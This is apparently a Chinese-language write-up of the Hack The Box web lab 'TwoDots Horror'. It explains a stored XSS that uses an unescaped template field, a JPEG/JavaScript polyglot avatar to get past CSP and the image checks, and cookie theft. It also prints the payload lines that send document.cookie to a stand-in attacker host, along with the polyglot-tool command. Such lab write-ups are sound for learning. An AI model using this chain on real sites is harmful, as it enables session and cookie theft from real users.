目標說明
hackthebox上的web靶機,名稱為twodots horror
,情境是留言版上傳大頭照
安全風險
此目標發現4個安全風險
- 代碼中的{{ post.content|safe }}不會執行html轉義,可在feed頁面執行js
- 未使用httponly,導致cookie能被拿走
- 代碼中使用的puppeteer瀏覽器可執行圖片內的JS
- 圖片檢查機制無法發現含JS的圖片上傳
保護機制
- 使用CSP(內容安全政策)限制,只能執行同域名的JS,並禁止其他域名的任何資源
- 重要頁面限制127.0.0.1存取
- 使用image-size和is-jpg檢查上傳圖片
安全優化建議
- 排查所有不會執行html轉義的地方並修復
- 加上httponly
- 代碼中使用無法執行圖片xss的瀏覽器
- 圖片上傳功能增加檢查內容過濾xss
攻擊手法
分析代碼發現在feed頁面提交內容後會帶cookie,而flag在cookie中,所以要想辦法取得cookie內容
準備攻擊圖片
雖然在feed提交的內容不會做html轉義,但由於csp限制,所以還是無法在feed頁面提以下xss將cookie拿走
<script>window.location.href="https://hackerwebsite/cookie?"+document.cookie;</script>
所以要用polyglot的技巧將以下片段插入圖片中
window.location.href="https://hackerwebsite/cookie?"+document.cookie;
這邊要注意的是圖片必須確保開頭的位元為jpeg的tag 0xFF 0xD8 0xFF
,否則無法通過isjpg的檢查。並且確保圖片至少要大於120*120,否則無法通過image-size的檢查,因為以下代碼會做檢查
if (!isJpg(file.data)) return reject(new Error("Please upload a valid JPEG image!"));
const dimensions = sizeOf(file.data);
if(!(dimensions.width >= 120 && dimensions.height >= 120)) {
return reject(new Error("Image size must be at least 120x120!"));
}
讀取攻擊圖片XSS
先註冊一個test帳戶後登入,然後上傳攻擊圖片,雖然會看到圖像己損壞但不影響其功能
由於feed頁面的提交功能不會對內容做html轉義,所以可以提交js讓目標執行。由於攻擊圖片在api/avatar/test,因此js讀取該位置就可以饒過CSP的保護機制。
另外還要在js後面加2個點來避開代碼的過濾機制。由於使用polyglot因此建議字符集指定 ISO-8859-1。最後要在feed頁面提交的JS如下
<script charset="ISO-8859-1" src="/api/avatar/test"></script>..
提交後,網站自己會執行攻擊圖片Js內容,將cookie送到https://hackerwebsite/cookie?
接著只要到hackerwebsite主機查看flag內容即可
補充說明
CSP
在代碼中可以發現CSP防御機制如下
res.setHeader("Content-Security-Policy", "default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;")
default-src ‘self’; 只信任當前域名,所以攻擊腳本的來源是自己的網站,才能避開這個限制
object-src ‘none’; 不信任其他來源的object,不加載任何資源
polyglot
構建多語言javascript/JPEG,可將xss放在圖片內,並讓瀏覽器執行圖片內的js,不過大部份主流瀏覽器己修復這個問題
使用img_polygloter.py工具可以實做此手法,範例如下
python img_polygloter.py jpg --height 120 --width 120 --payload 'window.location.href="https://hackerwebsite/cookie?"+document.cookie;' --output jpegxss.jpg
img_polygloter.py工具可以在此下載
https://github.com/s-3ntinel/imgjs_polygloter
原理可參考
https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs
https://www.cnblogs.com/ssooking/articles/6144556.html
nunjucks
在nunjucks中,如果使用safe選項時,不會對內容進行html轉義,完整說明可以參考 https://nunjucks.bootcss.com/templating.html
在目標的代碼中可以發現 post.content|safe,這表示feed頁面提交的內容不會對content內容進行轉義
<div class="main-area">
{% for post in feed %}
<div class="nes-container is-post with-title">
<p class="title"><span class="title1">{{ post.author }}</span><span class="title1">{{ post.created_at }}</span></p>
<p>{{ post.content|safe }}</p>
</div>
<button class="nes-btn is-primary">Approve</button> <button class="nes-btn is-error">Delete</button><br />
<br />
{% endfor %}
</div>